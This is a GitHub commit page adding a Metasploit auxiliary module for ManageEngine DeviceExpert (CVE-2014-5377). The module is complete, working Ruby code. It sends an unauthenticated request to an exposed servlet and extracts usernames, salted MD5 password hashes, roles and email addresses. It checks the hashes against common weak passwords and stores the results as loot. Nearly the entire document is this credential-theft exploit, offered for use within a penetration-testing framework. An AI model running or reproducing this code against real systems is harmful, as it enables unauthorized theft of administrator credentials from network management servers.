Skip to content

Commit 6cad5d9

Browse files
committed
Add ManageEngine DeviceExpert User Credentials
1 parent 3bbe9bf commit 6cad5d9

File tree

1 file changed

+123
-0
lines changed

1 file changed

+123
-0
lines changed
Lines changed: 123 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,123 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
include Msf::Auxiliary::Report
10+
include Msf::Auxiliary::Scanner
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(
15+
info,
16+
'Name' => 'ManageEngine DeviceExpert User Credentials',
17+
'Description' => %q{
18+
This module extracts usernames and salted MD5 password hashes
19+
from ManageEngine DeviceExpert version 5.9 build 5980 and prior.
20+
21+
This module has been tested successfully on DeviceExpert
22+
version 5.9.7 build 5970.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'Pedro Ribeiro <pedrib[at]gmail.com>', # Discovery and exploit
28+
'Brendan Coles <bcoles[at]gmail.com>' # msf
29+
],
30+
'References' =>
31+
[
32+
['EDB' => '34449'],
33+
['OSVBD' => '110522'],
34+
['CVE' => '2014-5377']
35+
],
36+
'DisclosureDate' => 'Aug 28 2014'))
37+
register_options(
38+
[
39+
Opt::RPORT(6060),
40+
OptBool.new('SSL', [true, 'Use SSL', true])
41+
], self.class)
42+
deregister_options('RHOST')
43+
end
44+
45+
def check
46+
get_users ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
47+
end
48+
49+
def get_users
50+
users = nil
51+
vprint_status "#{peer} - Reading users from master..."
52+
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'ReadUsersFromMasterServlet')
53+
if !res
54+
vprint_error "#{peer} - Connection failed"
55+
elsif res.code == 404
56+
vprint_error "#{peer} - Could not find 'ReadUsersFromMasterServlet'"
57+
elsif res.code == 200 && res.body =~ /<discoverydata>(.+)<\/discoverydata>/
58+
users = res.body.scan(/<discoverydata>(.*?)<\/discoverydata>/)
59+
vprint_good "#{peer} - Found #{users.length} users"
60+
else
61+
vprint_error "#{peer} - Could not find any users"
62+
end
63+
users
64+
end
65+
66+
def parse_user_data(user)
67+
return if user.nil?
68+
username = user.scan(/<username>([^<]+)</).flatten.first
69+
encoded_hash = user.scan(/<password>([^<]+)</).flatten.first
70+
role = user.scan(/<userrole>([^<]+)</).flatten.first
71+
email = user.scan(/<emailid>([^<]+)</).flatten.first
72+
salt = user.scan(/<saltvalue>([^<]+)</).flatten.first
73+
hash = Rex::Text.decode_base64(encoded_hash).unpack('H*').flatten.first
74+
['12345', 'admin', 'password', username].each do |weak_password|
75+
if hash == Rex::Text.md5(weak_password + salt)
76+
print_status "#{peer} - Found weak credentials (#{username}:#{weak_password})"
77+
break
78+
end
79+
end
80+
[username, hash, role, email, salt]
81+
end
82+
83+
def run
84+
users = get_users
85+
return if users.nil?
86+
cred_table = Rex::Ui::Text::Table.new(
87+
'Header' => 'ManageEngine DeviceExpert User Credentials',
88+
'Indent' => 1,
89+
'Columns' => ['Username', 'Password Hash', 'Role', 'E-mail', 'Password Salt']
90+
)
91+
vprint_status "#{peer} - Parsing user data..."
92+
users.each do |user|
93+
record = parse_user_data user.to_s
94+
unless record.join.empty?
95+
report_auth_info(
96+
'host' => rhost,
97+
'port' => rport,
98+
'sname' => (ssl ? 'https' : 'http'),
99+
'user' => record[0],
100+
'pass' => record[1],
101+
'type' => 'hash',
102+
'proof' => "salt: #{record[4]} role: #{record[2]} email: #{record[3]}",
103+
'source_type' => 'vuln'
104+
)
105+
cred_table << [record[0], record[1], record[2], record[3], record[4]]
106+
end
107+
end
108+
print_line
109+
print_line "#{cred_table}"
110+
loot_name = 'manageengine.deviceexpert.user.creds'
111+
loot_type = 'text/csv'
112+
loot_filename = 'manageengine_deviceexpert_user_creds.csv'
113+
loot_desc = 'ManageEngine DeviceExpert User Credentials'
114+
p = store_loot(
115+
loot_name,
116+
loot_type,
117+
rhost,
118+
cred_table.to_csv,
119+
loot_filename,
120+
loot_desc)
121+
print_status "Credentials saved in: #{p}"
122+
end
123+
end

0 commit comments

Comments
 (0)